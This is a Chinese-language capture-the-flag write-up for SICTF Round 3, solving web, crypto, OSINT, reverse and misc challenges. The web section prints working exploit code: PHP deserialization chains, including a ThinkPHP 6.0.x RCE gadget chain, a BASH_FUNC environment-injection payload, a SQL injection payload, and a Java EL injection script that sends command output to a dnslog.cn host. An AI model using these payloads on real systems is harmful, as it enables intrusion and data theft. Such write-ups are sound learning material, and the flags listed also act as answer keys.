战队名:Dosec
队员:xiaolaisec
又是一个人孤军奋战,师傅们太猛了,我最后实在是顶不住了,最终是第52名(我是菜鸡)
WEB
100%_upload
上传图片马shell.jpg
利用文件包含去包含我们的图片马
Not just unserialize
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>
打反序列化链子
<?php
class start
{
public $welcome;
public $you;
}
class SE{
public $year;
}
class CR {
public $last;
public $newyear="\nworries";
}
class ET{
}
$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->last=new ET();
echo base64_encode(serialize($a));
输出:
Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9
最后进行putenv进行getshell,参考文章:
最终payload:
?go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9&get[BASH_FUNC_echo%%]=()%20{%20cat%20/f*;%20}
EZ_SSRF
dirsearch扫后台可以得到admin.php
Admin.php如下
我们直接利用index.php打SSRF进行IP伪造
<?php
class client{
public $url='http://127.0.0.1/admin.php';
public $payload;
}
$a=new client();
echo serialize($a);
最终Payload:
?Harder=O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}
得到一串base64字符
解密即可得到flag
Oyst3rPHP
后台有个www.zip,下载进行代码审计
代码审计后可以知道是利用ThinkPHP6.0.x打反序列化,前提是绕过有个md5比较和preg_match正则,利用?right=s878926199a&left=s155964671a绕过md5,利用PCRE回溯次数限制绕过正则,最终利用EXP进行getshell(题目不能反弹shell)
EXP:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["Lethe" => "cat /O*"];
private $withAttr = ["Lethe" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo base64_encode(serialize($b));
Payload: GET:http://yuanshen.life:37259/?right=s878926199a&left=s155964671a
POST太长就不复制了,查看源码得到flag
hacker
题目过滤了or,and,|,&,可以用union select注入
由于过滤了or,所以information_schema数据库也用不了,因此我们无法知道flag的列名
源码有提示flag在flag表里,利用无列名注入
buu做题笔记——[网鼎杯 2020 朱雀组]phpweb&[SWPU2019]Web1_网鼎杯知识点-CSDN博客
Payload:
?username=flag%27/**/union/**/select/**/(select/**/group_concat(`2`)/**/from/**/(select/**/1,2/**/union/**/select*from/**/flag)n)%23
[进阶]elInjection
这题考EL注入,后面懂的都懂,出题人教我们做题,hint就是wp[狗头]
Java EL (Expression Language)表达式注入 | J0k3r's Blog
利用ScriptEngine基础上可以使用Base64编码Bypass
非预期解法dns出网情况下,dns换行导致解析失败可以使用命令,ls /|head -n 1|tail -n -1,来读取行数
flag没有权限读取,执行/readflag获取
套双层ScriptEngineManager的eval执行java.util.Base64解码内容
能执行命令的bash -c "curl `/readflag`.dns"
Exp:
import requests
import base64
def encode(payload):
encode_payload = ""
for i in range(0, len(payload)):
if i == 0:
encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
else:
encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
return encode_payload
cmd = b"curl `/readflag`.2xrr6i.dnslog.cn"
exp = '${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(%s)}' % (encode("java.lang.Runtime.getRuntime().exec(\"bash -c {echo,"+base64.b64encode(cmd).decode()+"}|{base64,-d}|{bash,-i}\")"))
url = "http://yuanshen.life:23333/test"
data = {'exp': exp}
r = requests.post(url, data).text
print(r)
最后dnslog外带即可
Crypto
[签到]Vigenere
下载附件得到可疑字符串
进行Vigenere解密,密钥为tfsaa(我试出来的)
Forensics
[签到]OSINT签到
flag格式:SICTF{x省_x市_x区_x公园},没有空格等特殊符号
下载附件使用Google进行搜索可以确定是海南省海口市的某个地方
题目描述是“浅浅的去山上眺望一下”,可以搜索大英山附近的公园
可以看到红城湖公园很像,搜索红城湖公园的位置即可
最终flag为:SICTF{海南省_海口市_琼山区_红城湖公园}
树木的压迫
flag格式:SICTF{x省_x市_x区_x(街道名)×号_xx},没有空格等特殊符号
将图片放大搜索可以看到达州市有一个特别像的图
可以确定是达州市体育中心,使用地图搜索即可
最终flag:SICTF{四川省_达州市_通川区_凤凰大道376号_达州市体育中心}
真的签到
SICTF{x省_x市_x区_xx(商场名)},没有空格等特殊符号
下载附件利用谷歌进行搜索,可以发现很多的摩天轮的图片,无法直接确定位置
根据题目描述是时间是11月中旬,图片有个细节就是楼梯上的小姐姐穿的还是短袖,可以知道这个地方肯定是比较偏南的地方,我第一时间想到的是广州
经过很长时间的搜索发现一个比较相似的图片
搜索相关视频可以看到和附件非常相似(大屏、还有电梯等)
最终flag:SICTF{广东省_珠海市_斗门区_大信新都汇}
这才是签到
flag格式:SICTF{x(国家)_x(城市)_x(拍摄地点)_x(目的地)},没有空格等特殊符号
这题有点坑,附件:
根据图片可以知道图中是意大利威尼斯的达涅利酒店,地图定位到这,第二张图说走过小道,可以推测目的地就在附近,再根据提示不是酒店,比例尺调到20m,之后就是对附近的地址进行猜测即可。。。
最终得到flag:SICTF{意大利_威尼斯_GondolaDanieli_ChiesadiSanZaccaria}
签退
flag格式:SICTF{xx_x(城市)_x(拍摄点)_x(店铺名)},没有空格等特殊符号
下载附件利用google进行搜索,因为那个蜘蛛侠有点显眼,便可以找到这么一张图
这是别人发的帖子
有这么一句话Anybody know what Spidey is doing on Loop Street?,翻译过来就是:有人知道蜘蛛侠在卢普街干什么吗?,这个信息非常关键,因此我们可以得知这是南非开普敦的卢普街,然后使用google地图找到Loop St,慢慢找一下就可以了
最终flag:SICTF{南非_开普敦_StrandSt_STEERS}
Reverse
[签到]Baby_C++
下载附件,额不知道是不是非预期了(我本人一点不会逆向),我在记事本里直接打开,搜索SICTF就找到了。。。
[Game][Battle City]
非预期解,下载附件玩游戏,通关即可多出一个win.png图片,扫码即可获得flag。
最终flag:SICTF{Y0u_@Re_bat71e_C1ty_Ma5t3r}
MISC
问卷调查
填完问卷即可获得flag。
[签到]签到
下载附件扫码,关注微信公众号回复"SICTF{Round3,我来辣~}"获取flag
日志分析2
flag格式为 SICTF{攻击者的IP地址|攻击者得到Web应用后台管理权限的方法|攻击者在SQL注入攻击过程中使用的自动化工具名称|工具版本号|攻击者使用的Webshell连接工具(中文名)|工具版本号}
下载附件,在access.log.1中可以找到攻击者的IP,sql注入使用的工具以及webshell连接工具以及其版本号
在前面可以看到攻击者不停对服务器的login界面发送请求,猜测是在暴力破解后台的账号密码
最终flag:SICTF{10.11.35.95|暴力破解|sqlmap|1.2.4.18|蚁剑|2.1}